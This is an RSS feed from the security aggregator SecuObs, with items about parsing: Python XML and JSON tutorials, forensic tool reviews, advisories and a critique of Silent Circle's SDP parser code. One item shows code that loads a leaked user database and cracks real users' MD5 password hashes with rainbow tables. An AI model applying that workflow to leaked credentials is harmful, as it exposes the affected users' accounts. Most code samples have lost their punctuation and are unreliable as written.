<?xml version="1.0" encoding="utf-8"?>
<rss version="0.92">
<channel>
<title>SecuObs.com</title>
<link>http://www.secuobs.com</link>
<description>Observatoire de la securite Internet</description>
<language>fr</language>
<webMaster>webmaster@secuobs.com</webMaster>
 <item><title>HPR2013  Parsing XML in Python with Xmltodict</title><description>2016-04-20 02:28:41 - Hacker Public Radio :  If Untangle is too simple for your XML parsing needs, check out xmltodict Like untangle, xmltodict is simpler than the usual suspects  lxml, beautiful soup , but it's got some advanced features as well If you're reading this article, I assume you've read at least the introduction to my article about Untangle, and you should probably also read, at some point, my article on using JSON just so you know your options Quick re-cap about XML  XML is a way of storing data in a hierarchical arrangement so that the data can be parsed later It's explicit and strictly structured, so one of its benefits is that it paints a fairly verbose definition of data Here's an example of some simple XML   xml version   chapter id   The Beginning   This is the first paragraph   chapter id   The Ending   Last para of last chapter    And here's some info about the xmltodict library that makes parsing that a lot easier than the built-in Python tools  Install Install xmltodict manually, or from your repository, or using pip    pip install xmltodict or if you need to install it locally    pip install --user xmltodict Xmltodict With xmltodict, each element in an XML document gets converted into a dictionary  specifically an OrderedDictionary , which you then treat basically the same as you would JSON  or any Python OrderedDict  First, ingest the XML document Assuming it's called samplexml and is located in the current directory   import xmltodict  with open  as f   data   xmltodictparse fread  If you're a visual thinker, you might want or need to see the data You can look at it just by dumping data   data OrderedDict , OrderedDict ,  OrderedDict ,  ,  , The Beginning , and so on Not terribly pretty to look at Slightly less ugly is your data set piped through jsondumps   import json  jsondumps data        ,   The Beginning,   This is the first paragraph ,   ,   The Ending,   This is the last paragraph of the last chapter    You can try other feats of pretty printing, if they help   pp   pprintPrettyPrinter indent 4   pppprint data            ,   The Beginning,   This is the  and so on More often than not, though, you're going to be  the XML tree, looking for specific points of interest This is fairly easy to do, as long as you remember that syntactically you're dealing with a Python dict, while structurally, inheritance matters Elements  Tags  Exploring the data element-by-element is very easy Calling your data set by its root element  in our current example, that would be data 'book'  would return the entire data set under the book tag We'll skip that and drill down to the chapter level   data   OrderedDict ,  ,  , The Beginning ,  , This is the first paragraph , OrderedDict ,  ,  , The Ending ,  , Last paragraph of last chapter  Admittedly, it's still a lot of data to look at, but you can see the structure Since we have two chapters, we can enumerate which chapter to select, if we want To see the zeroeth chapter   data 0  OrderedDict ,  ,  , The Beginning ,  , This is the first paragraph  Or the first chapter   data 1  OrderedDict ,  ,  , The Ending ,  , Last paragraph of last chapter  And of course, you can continue narrowing your focus   data  This is the first paragraph It's sort of like Xpath for toddlers Having had to work with Xpath, I'm happy to have this option Attributes You may have already noticed that in the dict containing our data, there is some special notation happening For instance, there is no  id element in our XML, and yet that appears in the dict Xmltodict uses the   symbol to signify an attribute of an element So to look at the attribute of an element   data   If you need to see each attribute of each chapter tag, just iterate over the dict A simple example   for c in range 0,2   data     Contents In addition to special notation for attributes, xmltodict uses the   prefix to denote contents of complex elements To show this example, I'll make a minor modification to samplexml   xml version   chapter id   The Beginning  para class  This is the first paragraph   chapter id   The Ending  para class  Last para of last chapter    Notice that the  elements now have a linux attribute, and also contain text content  unlike  elements, which have attributes but only contain other elements  Look at this data structure   import xmltodict  with open  as g   data   xmltodictparse gread   data 0  OrderedDict ,  ,  , The Beginning ,  , OrderedDict ,  ,  , This is the first paragraph  There is a new entry in the dictionary   text It contains the text content of the  tag and is accessible in the same way that an attribute is   data  This is the first paragraph Advanced The xmltodict module supports XML namespaces and can also dump your data back into XML For more documentation on this, have a look at the module on githubcom martinblech xmltodict What to Use  Between untangle, xmltodict, and JSON, you have pretty good set of options for data parsing There really are diferent uses for each one, so there's not necessarily a  or  answer Try them out, see what you prefer, and use what is best If you don't know what's best, use what you're most comfortable with  you can always improve it later  EOF  Made on Free Software </description><link>http://www.secuobs.com/revue/news/604172.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/604172.shtml</guid></item>
<item><title>HPR2012  Parsing XML in Python with Untangle</title><description>2016-04-19 02:10:41 - Hacker Public Radio : XML is a popular way of storing data in a hierarchical arrangement so that the data can be parsed later For instance, here is a simple XML snippet   xml version   chapter id   The Beginning    The nice thing about XML is that it is explicit and strictly structured The trade-off is that it's pretty verbose, and getting to where you want to go often requires fairly complex navigation If you do a quick search online for XML parsing in Python, your two most common results are lxml and beautifulsoup These both work, but using them feels less like opening a dictionary  as with JSON  to look up a definition and more like wandering through a library to gather up all the dictionaries you can possibly find In JSON, the thought process might be something like  Go to the first chapter's title and print the contents With traditional XML tools, it's more like  Open the book element and gather all instances of titles that fall within those chapters Then, look into the resulting object and print the contents of the first occurrence There are at least two libaries that you can install and use to bring some sanity to complex XML structures, one of which is untangle Untangle With untangle, each element in an XML document gets converted into a class, which you can then probe for information Makes no sense  well, follow along and it will become clear  First, ingest the XML document Assuming it's called samplexml and is located in the current directory   import untangled  data   untangleparse  Now our simple XML sample is sitting in RAM, as a Python class The first element is  and all it contains is more elements, so its results are not terribly exciting   databook Element name   book, attributes    , cdata     As you can see, it does identify itself as   under the name listing  but otherwise, not much to look at That's OK, we can keep drilling down   databookchapter Element name   chapter, attributes      , cdata     Now things get more interesting The next element identifies itself as , and reveals that it has an attribute  which has a value of  To continue down this path   databookchaptertitle Element name   title, attributes    , cdata   The Beginning   And now we have a pretty complete picture of our little XML document We have a breadcrumb trail of where we are in the form of the class we are invoking  databookchaptertitle  and we have the contents of our current position Sniping That's very linear  if you know your XML schema  and you usually do, since XML is quite strict  then you can grab values without all the walking For instance, we know that our chapters have 'id' attributes, so we can ask for exactly that   databookchapter   You can also get the contents of elements by looking at the cdata component of the class Depending on the formatting of your document, untangle may be a little too literal with how it stores contents of elements, so you may want to use strip  to prettify it   databookchaptertitlecdatastrip  The Beginning Dealing with More Than One Element My example so far is nice and tidy, with only one chapter in the book Generally you'll be dealing with more data than that Let's add another chapter to our sample file, and some content to each   xml version   chapter id   The Beginning   This is the first paragraph   chapter id   The Ending   Last para of last chapter    Accessing each chapter is done with index designations, just like with a dict   databookchapter 0  Element name   chapter, attributes      , cdata      databookchapter 1  Element name   chapter, attributes      , cdata     If there is more than one instance of a tag, you must use a designator or else untangle won't know what to return For example, if we want to access either the title or para elements within a chapter   databookchaptertitle Traceback  most recent call last  File , line 1, in  AttributeError   object has no attribute  Oops But if we tell it which one to look at   databookchapter 0 titlecdatastrip  The Beginning  databookchapter 1 titlecdatastrip  The Ending Or you can look at the paragraph instead of the title The lineage is the same, only instead of looking at the title child, you look at the para child   databookchapter 0 paracdatastrip  This is the first paragraph  databookchapter 1 paracdatastrip  Last para of last chapter You can also iterate over items   COUNT    0,1   for TICK in COUNT   print databookchapter TICK  Element  with attributes     and children  Element name   title, attributes    , cdata   The Beginning  , Element name   para, attributes    , cdata   This is the first paragraph  Element  with attributes     and children  Element name   title, attributes    , cdata   The Ending  , Element name   para, attributes    , cdata   Last para of last chapter  And so on Easy and Fast I'll admit the data structure of the classes does look odd, and you could probably argue it's not the cleanest and most elegant of all output  it's unnerving to see empty cdata fields or to constantly run into the need to strip  whitespace However, the ease and speed and intuitiveness of parsing XML with untangle is usually well worth any trade-offs  EOF  Made on Free Software </description><link>http://www.secuobs.com/revue/news/604058.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/604058.shtml</guid></item>
<item><title>HPR2010  Parsing JSON with Python</title><description>2016-04-15 16:23:21 - Hacker Public Radio : JSON is a popular way of storing data in a key value type arrangement so that the data can be parsed easily later For instance, here is a very simple JSON snippet    , ,    If you are like me, three questions probably spring to your mind  That looks an awful lot like a Python dictionary Yes, it looks exactly like a Python dictionary They are shockingly similar If you are comfortable with Python lists and dictionaries, you will feel right at home with JSON I don't feel comfortable with dictionaries, can't I just use a delimited text file  You can, but you will have to write parsers for it yourself If your data gets very complex, the parsing can get pretty ugly That is not to say that you should not use a simple delimited text file if that is all that your programme needs For example, I would not want to open a config file as a user and find that I have to format all my options as valid JSON Just know that JSON is out there and available, and that the JSON Python module has some little features that make your life easier when dealing with sets of data Why not use XML instead  You can Mostly one should use the most appropriate format for one's project I'm a big fan of XML, but sometimes JSON makes more sense I am not going to make this post about teaching the JSON format If you need clarification on how to structure data into JSON, go through a tutorial on it somewhere  there are several good ones online Honestly, it's not that complex  you can think of JSON as nested dictionaries Starting from scratch, let's say that you write a programme that by nature gathers data as it runs When the user quits, you want to save the data to a file so that when the user resumes the app later, they can load the file back in and pick up where they left off Storing Data as JSON At its most basic, the JSON data structure is basically the same as a Python dictionary, and in fact the nice thing about JSON is that it can be directly imported into a Python dictionary Usually, however, you are resorting to JSON because you have somewhat complex data, so in the sample code we will use a dictionary-within-a-dictionary   usr bin env python game       23,   4 ,     13,   6    you can always add more to your dictionary game      18,   7  That code creates a ditionary called game which stores the player name and a corresponding dictionary of attributes about how the player is doing in the progress of the game As you can see after the comment, adding new players is simple Now let's see how to save that data to a save file   continued import json with open ,   as outfile  jsondump game, outfile  That would be your save command Simple as that, all the structured content of your game dictionary is committed to a file on your hard drive Reading Data from a JSON File If you are saving data to JSON, you probably will evenually want to read the data back into Python For this, Python features the function jsonload import json dosiero   open  game   jsonload dosiero  print game    prints   23,   4  print game    prints 23 print game    prints 4   when finished, close the file json_dataclose  As you can see, JSON integrates surprisingly well with Python, so it's a great format when your data fits in with its model Have fun   EOF  Made with Free Software </description><link>http://www.secuobs.com/revue/news/603847.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/603847.shtml</guid></item>
<item><title>Parsing the hiberfilsys, searching for slack space</title><description>2014-12-10 01:12:33 - DiabloHorn : Implementing functionality that is already available in an available tool is something that has always taught me a lot, thus I keep on doing it when I encounter something I want to fully understand In this case it concerns the  hiberfilsys  file on Windows As usual I first stumbled upon the issue and started writing   </description><link>http://www.secuobs.com/revue/news/549305.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/549305.shtml</guid></item>
<item><title>Black Hat USA 2014 - AppSec  SVG Exploiting Browsers without Image Parsing Bugs</title><description>2014-11-18 06:15:25 - SecurityTube.Net : SVG is an XML-based format for vector graphics Modern web browsers support it natively and allow it to be styled using CSS and manipulated using JavaScript It is less well-known that SVG can contain its own JavaScript and can import external scripts and stylesheets Consequently, from a browser security perspective, SVG must be treated like HTML  treating it like JPEG will lead to great suffering For More Information Please visit   - http blackhatcom IMAGE  </description><link>http://www.secuobs.com/revue/news/545930.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/545930.shtml</guid></item>
<item><title>Microsoft Windows TrueType Font parsing zero-day vulnerability used in limited attacks</title><description>2014-10-15 01:41:24 - Symantec Connect   Security Response   Billets :    A zero-day vulnerability affecting Microsoft Windows TrueType Font  TFF  parsing is reportedly being used to gain remote access into an international organization Read more </description><link>http://www.secuobs.com/revue/news/540092.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/540092.shtml</guid></item>
<item><title>Web Application Testing   Parsing Directory and File Listing</title><description>2014-09-10 10:32:27 - Milo2012's Security Blog : During web application testing, it is useful to get the directory and file listing of the root of the web application that you are testing so as to ensure complete coverage of the application You can use the below command to get a files and directories listing of the web application root ls  laR  var www    </description><link>http://www.secuobs.com/revue/news/534177.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/534177.shtml</guid></item>
<item><title>Log Parsing with Mandiant Highlighter  1 ,  Mon, Jan 27th </title><description>2014-01-27 20:30:21 -       SANS Internet Storm Center  InfoCON  green :    Reading log isn t the most enjoyable thing in Network Security Analysis, sometimes it rs  more  </description><link>http://www.secuobs.com/revue/news/494383.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/494383.shtml</guid></item>
<item><title>binary analysis - Parsing Rescuing corrupted IDA database</title><description>2014-01-20 08:29:46 - Reverse Engineering : submitted by galaris  link   1 comment  </description><link>http://www.secuobs.com/revue/news/492730.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/492730.shtml</guid></item>
<item><title>Web-based Single Sign-On and the Dangers of SAML XML Parsing</title><description>2013-12-12 15:08:22 - Blog :    Security Assertion Markup Language  SAML  is a popular XML-based open standard for exchanging authentication and authorization data between two systems In the world of enterprise cloud applications, SAML is one of the most common protocols for implementing single sign-on between enterprise customers and cloud service providers While implementing SAML authentication for our SendSafely secure file exchange solution, we encounted some security concerns with one of the more popular open source libraries for parsing SAML requests Check out our latest post over at the Send Safely Blog for the complete details This post should be a must read for any organization that is handling SAML request data  IMAGE   IMAGE   IMAGE  </description><link>http://www.secuobs.com/revue/news/485928.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/485928.shtml</guid></item>
<item><title>LANspy ARP Spoofer   Multithreaded Asynchronous Packet Parsing Injecting</title><description>2013-11-22 12:43:07 - Darknet   The Darkside : </description><link>http://www.secuobs.com/revue/news/482582.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/482582.shtml</guid></item>
<item><title>Visa Updates Memory-Parsing Malware Warning</title><description>2013-08-27 18:31:49 - Security Bloggers Network : Visa released a public update to their Memory-Parsing Malware Warning yesterday bringing forward signatures and IPs from their original alert in April based on recent activity This very effective technique can present itself leveraging commonly used debugging techniques for software Essentially, this malware will access a few readily available routines to hook into the memory   </description><link>http://www.secuobs.com/revue/news/465222.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/465222.shtml</guid></item>
<item><title>Loading, parsing and consuming unstructured data  ie password hashes from google </title><description>2013-08-14 11:12:13 - Dinis Cruz Blog : Following Generating an small MD5 Rainbow Table in C , the objective of this post is to show how to consume unstructured data  to be used for example on a fuzzing brute-force login attempt, which you will see on the next post  Now that we have a way to resolve MD5 hashes, we need a couple hashes to test it out Unfortunately  for the affected users  there are a HUGE amount of password hashes out there For example, take a look at the http wwwexploit-dbcom google-dorks 9  page  image Clicking on the 2nd one  shown above in red  take us to this page  image   which links to this Google results page  https wwwgooglecom search q ext sqlpourcents20intext hotmailcompourcents20intextpourcents20 password safe active image   with the first hit in the 791 list of results returned from Google being  image   which contains a large number of user IDs, username, hashes, emails and names WTF Moment  I know this shouldn t shock me these days, but  In this case what we are after is to extract the username and hashes from this list, so let s go into an O2 Platform REPL environment, and download this file  image Note  in cases like this  where we first need to load some data  it is better to use the o2Cache object, so that there is only one load  per O2 process  image To get an idea of the quality of the data in the lines, lets see how many split sizes we have  image In this case there are 10 lines that will not split to a constant amount image  and 358 lines splitting into 9 blocks image Lets look at the first line  note that the results in the Output window are sorted alphabetically  image Here is how to get a clean hash  image With the username being the 2nd value  image Here is a Dictionary indexed by Username  image In cases like this, it is better to use the Items class  part of FluentSharpCore  since it is serializable  image Another option is to save the data as a  tab delimited file  so that it can be consumed by our next script  image Using LINQ If you are into LINQ queries, here is another way this data can be sliced  image And since the FluentSharpWinForms TableList, supports LINQ queries, here is a nicer way to visualize the data  image   specially when we add the rest of the data collected  image  note how now it is very easy to detect the odd entry that has a bad format  Source code example  1  Code that creates the GUI shown above  with the user account details and hashes   var topPanel    name popupWindow 700,400  var topPanel   panelclear add_Panel  var rawData       rawData    o2Cache     http refletsinfo hcsrgovsy_userssql    GET  var lines   rawDatafix_CRLF lines  var userMappings     from line    in    lines let splittedLine   lineremove     '    ,       ,        split     ,           select    new      userId      splittedLinefirst , username    splittedLinesecond , hash        splittedLinethird , email       splittedLinefourth , firstName   splittedLinefifth , lastName    splittedLine   value    5 , flag1       splittedLine   value    6 , falg2       splittedLine   value    7    topPanelclear add_TableList     User Mappings      show userMappings  return    userMappings  Resolving hashes using  small MD5 Rainbow Table  Since the objective is to resolve the passwords, lets now load up the small Rainbow Table we created in the previous post  image It better to load the heavy ones  with the 40  Mbs  into an o2Cache object  using a Dictionary since it has much better performance that Items  image Final step is to use this rainbowTable object to resolve the hashes previously mapped  image This will create this table using the  10x numbers - 6x length  M5_for_10_chars_with_6_depthtxt  44Mb file  image and this table using the  10x numbers and 26x letters - 4x length  M5_for_36_chars_with_4_depthtxt  65Mb file  image Which basically means that our simple rainbow tables was able to  decrypt  88  64   24  MD5 passwords  yes, we are not decrypting it, just brute-forcing it  Question  Is anybody notifying these users  As you can see it is quite easy to calculate these passwords, and it would be nice  if you are the affected user  to be notified that this is happening  specially for users that reuse passwords on multiple sites  Source Code example  2  Code that creates the GUI shown above  with the passwords resolved   var topPanel    name popupWindow 700,400  var topPanel   panelclear add_Panel  var rawData       rawData    o2Cache       http refletsinfo hcsrgovsy_userssql    GET  var rainbowFolder       C Users o2 AppData Roaming OWASP_O2_Platform_53 8_12_2013 MD5_Hashes      var rainbowTable       rainbow_2    o2Cache      this file finds 64 passwords var md5Hashes_File   rainbowFolderpathCombine     10x numbers - 6x length  M5_for_10_chars_with_6_depthtxt         this file finds 24 passwords  var md5Hashes_File   rainbowFolderpathCombine 10x numbers and 26x letters  - 4x length  M5_for_36_chars_with_4_depthtxt  var items      new    Dictionary  foreach    var line    in    md5Hashes_FilefileContents lines                 var splittedLine   linesplit     t      itemsadd splittedLinefirst upper , splittedLinesecond    return    items    var lines   rawDatafix_CRLF lines  var pwdCount   0  var userMappings     from line    in    lines let splittedLine   lineremove     '    ,       ,        split     ,           let hash           splittedLinethird upper  let password        rainbowTablehasKey hash    rainbowTable hash  removeLastChar  removeLastChar                let foundIndex        passwordempty                pwdCount str  select    new      userId       splittedLinefirst , username     splittedLinesecond , hash         hash, password     password, foundIndex   foundIndex, email        splittedLinefourth , firstName    splittedLinefifth , lastName     splittedLine   value    5 , flag1        splittedLine   value    6 , falg2        splittedLine   value    7    topPanelclear add_TableList     User Mappings      show userMappings  return    userMappings   IMAGE  </description><link>http://www.secuobs.com/revue/news/462812.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/462812.shtml</guid></item>
<item><title>IRcollect   collect incident response information via raw disk reads and  MFT parsing</title><description>2013-08-07 17:48:22 - Integriography   A Journal of Broken Locks  Ethics  and Computer Forensics : ircollect is a Python tool designed to collect files of interest in an incident response investigation or triage effort This is very beta code I m hacking on it regularly, using it to learn about internal structures, finding minor and major issues,   Use it at your own risk  If you have advice on how to address   </description><link>http://www.secuobs.com/revue/news/461684.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/461684.shtml</guid></item>
<item><title>There Are Four Lights  LNK Parsing tools</title><description>2013-06-18 16:47:06 - Windows Incident Response :  IMAGE Based on the content of my last post regarding shell items, I wanted to take a look at some of the available tools for parsing Windows shortcuts LNK files I started by asking folks what tools they used to parse LNK files, and then went looking for those, and other, tools The purpose of this blog post is to take a look at how effective some of the various tools used by analysts are at parsing shell item ID lists within Windows shortcut LNK files This blog post contains an excellent description of what we're looking for and trying to achieve with the testing My previous post includes sample output from the tool I use to parse LNK files  one of the files I used for testing is an LNK file for a device that does not contain a LinkInfo block, but instead contains ONLY a shell item ID list I did not specifically craft this LNK fileit was taking from a Windows 2008 R2 system I copied this file to my desktop, and changed the extension from  lnk  to  txt  For comparison purposes, the script I wrote parses the device test file as follows  File  c users harlan desktop cameratxt shitemidlist My Computer DROID2 Removable Storage dcim Camera The other file I used in this testing is an LNK file created by the installation of Google Chrome All of the tools tested handled parsing this LNK file just fine, although not all of them parsed the shell item ID list Now, on to the tools themselves Some of the things I'm most interested in when looking at tools for parsing LNK files include completeness correctness of output, ease of use, the ease with which I can incorporate the output into my analysis processes, etc I know that some of these aspects may mean different things to different peoplefor example, if you're not familiar with parsing shell item ID lists, how do you determine completeness correctness  Also,  ease of use  may mean  GUI  to some, but it may mean  CSV output  to others As such, I opted to not give any recommendations or ratings, but to instead just provide what I saw in the output from each tool TZWorks lp64 v055 - lp64  the 64-bit version of the tool  handled the Google Chrome LNK file easily, as did the other tools included in this test Unlike some of the other tools, lp64 parsed the shell item ID list from the LNK file  ID List   CLSID_UsersFiles Local Google Chrome Application chromeexe For the device test file described above, lp64 provided the following output  ID List   CLSID_MyComputer 2006014e-0831-0003-0000-000000000000  I'm not sure what the GUID refers toI did a look up via Google and didn't find anything that would really give me an indication of what that meant Looking at the file itself in a hex editor  ie, UltraEdit , I can see from where that data originated, and I can tell that the shell item was not parsed correctly  that is to say, the 16 bytes extracted from the file are NOT a GUID, yet lp64 parses them as such WoanWare LnkAnalyser v101 - This tool is a CLI utility that took me a couple of attempts to run, first because I had typed  lnkanalyzer  instead of  lnkanalyser   -  I then pointed it at the cameratxt file from the previous post  renamed from cameralnk  and it did not display any shell item contents In fact, the tool listed several sections  ie, Target Metadata, Volume ID, TrackerDataBlock, etc , all of which were empty, with the exception of the time stamps, which were listed as  1 1 0001 12 00 00 AM  LnkAnalyser did handle the Google Chrome LNK file just fine, but without parsing the shell item ID list Lnk_parser - The Google Code page states that this tool is  in beta  and should not be rehostedI opted to include it in testing It turns out that this tool is very interactive  which I could have avoided, had I read the command line usage instructions , posting a list of questions to the console for the analyst to answer, with respect to where the target file is located, the type of output that you want, and where you want the output to go I chose CSV output, going to the current working directory, as well as to the console The output of the tool did include   Link Target ID List  CLSID  20d04fe0-3aea-1069-a2d8-08002b30309d   My Computer This was followed by a number of  Property Store  entries that made little sense  that is to say, I am familiar with what these entries might represent from my research, but the data that they contain doesn't look as it would be meaningful or usable to an analyst I did find a reference to one of the PROPERTYSTORAGE values from the lnk_parser output listed in the Cloud Storage Forensic Analysis PDF, reportedly as part of the output from XWays 165, but I'm not clear as to what it refers to Lnk_parser did not handle the Google Chrome LNK file at all I used the same settings choices as I did for the previous file, and got no output the console The resulting CSV file in the working directory had only one entry, and it was just some garbled data MiTeC Windows File Analyzer  WFA  - LNK files are just one of the file formats that WFA is capable of parsing WFA is GUI-based and works on directories  rather than individual files , so I had to rename the cameratxt file to cameralnk WFA did not parse any data from the cameralnk file, although it handled the Google Chrome LNK file just fine WFA did not, however, parse the shell item ID list from the Google Chrome LNK file Log2Timeline - a user over on the Win4n6 forum mentioned that log2timeline parses shell item ID lists in LNK files, but I verified with Kristinn that at the moment, it does not As such, log2timeline was not included in the test I am including it in this listing simply due to the fact that someone had mentioned that it does parse shell item ID lists Other tools - some others have mentioned using EnCase 6 and or 7 for parsing LNK files  I do not have access to either one, so I cannot test them Results The overall results of my  admittedly limited  testing indicates that the TZWorks lp64 tool does the best job of the available tools when it comes to parsing shell item ID lists within LNK files That being said, however, some shell items do not appear to be parsed correctly On a side note, something that I do like about lp64 is that it lists it's output in an easy-to-parse format Each element is listed on a single line with an element ID, a colon, and then the datathis makes it easy to parse using Perl or Python So What  So, why is this important  After all, who cares  Well, to be honest, every analyst should, for the simple fact that shell items can be found in a number of artifacts besides just Windows LNK files They exist in shellbags artifacts, within the MenuOrder subkeys, they're embedded within Windows 7 and 8 Jump Lists, ComDlg32 subkey values  Vista , and they can even be found in the Windows 8 Photo artifacts Being able to understand shell items can be important, and being able to correctly parse device shell items can be even more important  in CP cases, the use of devices may indicate production, and in IP theft cases, a device may have been used as the target of a copy or move operation Also, there is malware that is known to use specially-constructed LNK files  ie, targetlnk  as part of their infection propagation mechanism, so being able to accurately parse these files will be valuable to the malware threat analysis Resources ForensicsWiki page - LNK LinuxSleuthing blog post </description><link>http://www.secuobs.com/revue/news/452092.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/452092.shtml</guid></item>
<item><title>Parsing Binary File Formats with PowerShell</title><description>2013-04-05 10:49:53 - SecurityTube.Net : In this video Matt Graeber talking about Parsing Binary File Formates with Powershell Why parse binary file formats  Malware Analysis You needs the ability to compare a malicious malformed file against known good files Fuzzing You want to generate thousands or millions of malformed files of a certain format in order to stress test or find vulnerabilities in programs that open that particular file format Curiosity you simply want to gain an understanding of how a piece of software interprets a particular file format Why use PowerShell to parse binary file formats  Once parsed, file formats can be represented as objects Objects can be inspected, analyzed, and or manipulated with ease Its output can be passed to other functions cmdlets scripts for further processing Automation  Once a parser is written, you can analyze a large number of file formats, quickly perform analysis, and gather statistics on a large collection of files Example  You could analyze all known good file formats on a clean system, take a baseline of known good and use that as a heuristic to determine if an unknown file is potentially malicious or malformed Slide   -http wwwexploit-mondaycom 2013 03 ParsingBinaryFileFormatsWithPowerShellhtml IMAGE  </description><link>http://www.secuobs.com/revue/news/437812.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/437812.shtml</guid></item>
<item><title>Parsing Windows Eventlogs in Powershell,  Thu, Feb 28th </title><description>2013-02-28 12:40:38 -       SANS Internet Storm Center  InfoCON  green :  Recently, while chasing a malware, I wanted to review the local security log of a third party ser  more  </description><link>http://www.secuobs.com/revue/news/430617.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/430617.shtml</guid></item>
<item><title>Silent Circle and inexperienced protocol parsing</title><description>2013-02-15 21:21:22 - Errata Security : A well-known principle of cryptography is that algorithms implementations should be done by experts Those without experience frequently make the same mistakes over and over When crypto breaks, it usually because a non-expert made a well-known mistake The same principle needs to be applied to parsing network protocols Incoming network packets are exposed raw to hackers on the Internet Hackers break into machines because inexperienced programmers make common mistakes, like buffer overflows This is the problem with Silent Circle, a company who makes a product for encrypting phone calls Their crypto algorithms are designed by crypto experts, such as Phil Zimmerman  of PGP fame  Their network parsers, though, are designed by inexperienced coders Silent Circle released their code yesterday I haven t found an exploitable flaw yet, but the first file I looked at demonstrated common parser mistakes I thought I d document them in this post Specifically, I m referring to their SDP parser SDP is part of SIP, which is used to establish phone calls  call, hangup, etc , but doesn t itself carry the data char vs unsigned char ---------------------- Their code refers to the packet as  char  buf  This is wrong The packet contains  bytes  not  characters  It should be  unsigned char   or  uint8_t   instead SDP is a text-based protocol That implies to programmers that it contains  characters  But that s not a requirement, just a convention Hackers don t have to follow that convention, and can insert any sort of bytes they want into the packet The problem is that  char  is not defined to be  signed  or  unsigned  When  char  is signed, it sign extends This causes 32-bit values to appear when the code is only expecting 8-bit values A good example is the call to  islower buf  on line 196 of their code If  buf  is 0x80, then it sign extends to 0xffffff80 This can cause weird things to happen Some static code analyzers check this Some dynamic stuff also checks this If you were to run this SDP parser under Microsoft Visual Studio and then fuzz this protocol, it ll throw an assertion on the call to  islower 0xffffff80  A lot of programmers will claim that I m being pedantic, that this isn t really a problem Compilers can be set to force  char  to be unsigned anyway, so it s  good enough  That s the same thinking pedantic cryptographers have been fighting for years This is the thinking behind most crypto failures Likewise, protocol experts have a lot of experience when  char  isn t good enough Const correct ------------- The  const  keyword is rarely used in their code This is wrong Most pointer parameters to should have it Functions should avoid changing their input The  const  keyword enforces this Non-const inputs lead to code instability Over time, a programmer may decide to change input in a function, while caller depends upon the parameters not changing Thus as a general principle of good code, more  const  is needed This is especially true for packets Packet data read from the network should be immutable Parsers should not change the data as they parse it Again, this is one of those pedantic things  in the past, there are lots of known problems that arose because packet data was changed unexpectedly, so we ve developed the principle that it shouldn t change Thus, the correct type of packet bytes is  const unsigned char  , or equivalent things like  const uint8_t   Everything else is incorrect Conditional compiles -------------------- Protocol parsing is CPU independent There is never a reason to do something different depending upon the CPU Consider line 96 in their code that says the following   if  defined WIN32     defined SYMBIAN32__   if not arm The code is trying for an optimization here, to compare 4 bytes at once rather than 4 separate single byte compares The problem is that same RISC processors crash when given unaligned data Hence the conditional compile, either the fast way for some CPUs or the slow but safe way for others This is monumentally stupid I don t want to sound harsh, but this optimization is so tiny it makes no measurable difference ever All it does is destabilize the code for no good reason It makes testing the code a lot harder It allows subtle bugs to creep through testing as things behave differently on different platforms Per-OS, per-compiler, per-CPU conditional compiles are NEVER needed for protocol parsing If you use them, then you are doing something very wrong Casting and byte-swapping ------------------------- The mistake of doing an  if conditional above comes from trying to fix an underlying mistake of casting between  char  and  int  This is a common technique taught in your  UNIX Network Programming  class It s also wrong You should never do it when parsing packets There are two reasons to avoid this The first is that  as mentioned above  some CPUs, such as SPARC and some versions of ARM crash when referencing unaligned integers This makes network code unstable on RISC systems, because most integers are usually aligned anyway, meaning a lot of alignment issues escape undetected into shipping code The only way to make stable code is to stop casting integers in network  or file  parsers The second problem is that it causes confusion with byte-order endianess that doesn t happen if you just don t cast integers Consider the IP address  10123  There are only two forms for this number, either an integer with the value of 0x0a010203, or an array of bytes with the value 0a 01 02 03 The problem is that little endian machines are weird The integer 0x0a010203 is represented internally as 03 02 01 0a on x86 processors, with the order of bytes  swapped  But this is just an internal detail that YOU NEVER NEED TO WORRY ABOUT As long as you never cross the streams and cast from a  char  to an  int   or the reverse , then the byte-order endianness never matters If your first language was anything other than C C , then you are probably scratching your head wondering what the fuss is Since your language doesn t allow you to cast between  char  and  int , you ve never been confused with byte-order endianess On line 119 their code calls  reverseIP  to byte swap the IP address That s a clear sign that things aren t getting coded right The only time to byte-swap is right at the moment of using the Sockets interface That s because Sockets itself was written wrong back in the early 1980s Thus, the only time you byte-swap IP addresses is when you do something like  sinsin_addrs_addr   htonl my_ip_address  Follow the spec --------------- Early Internet doctrine was to write code that followed the spec  close enough  This was good in developing the protocols themselves, but was bad for long-term interoperability as popular products proliferated using wrong techniques, that all products then had to unofficially support Being liberal is allows hackers to inject a lot bad packets into the system that will nonetheless work This allows them to reach vulnerable code that would otherwise have been rejected Thus, critical software  like telephone encryption  needs to be conservative about what they accept, not liberal Consider the line from SDP like the following  c IN IP4 22421712 127 The SilentCircle parser checks for the  c , then skips the next character whatever it is Thus, the following line is allowed  crIN IP4 22421712 127 Silent Circle needs to more formally follow the SDP spec at RFC 4566, rather than coding  whatever works  Some good stuff --------------- The SilentCircle code isn t all bad They do some things right One thing they get right is the  concreteness  of their parser Protocol specifications are ugly, and code should be written to match the specification That means protocol parsing code should be ugly There s nothing more annoying than debugging protocol parsers that have been prettied up, where I can't match up things in the spec and the packes with what I see in the code In school, your professors stressed that code should have  no magic numbers  They were wrong  protocol parsers should be full of magic numbers Consider the line 255 in the SDP code where is references the letter  c  What does  c  mean  Shouldn t we instead use a  define somewhere, like   define SIP_SDP_CONNECTION_INFO 'c' Wouldn t that help make the code more self documenting  No  it wouldn t  The spec says  c  so the code should too Otherwise, I have to hunt all over the place to match things up My point is this  other s might criticize the code for being ugly, but 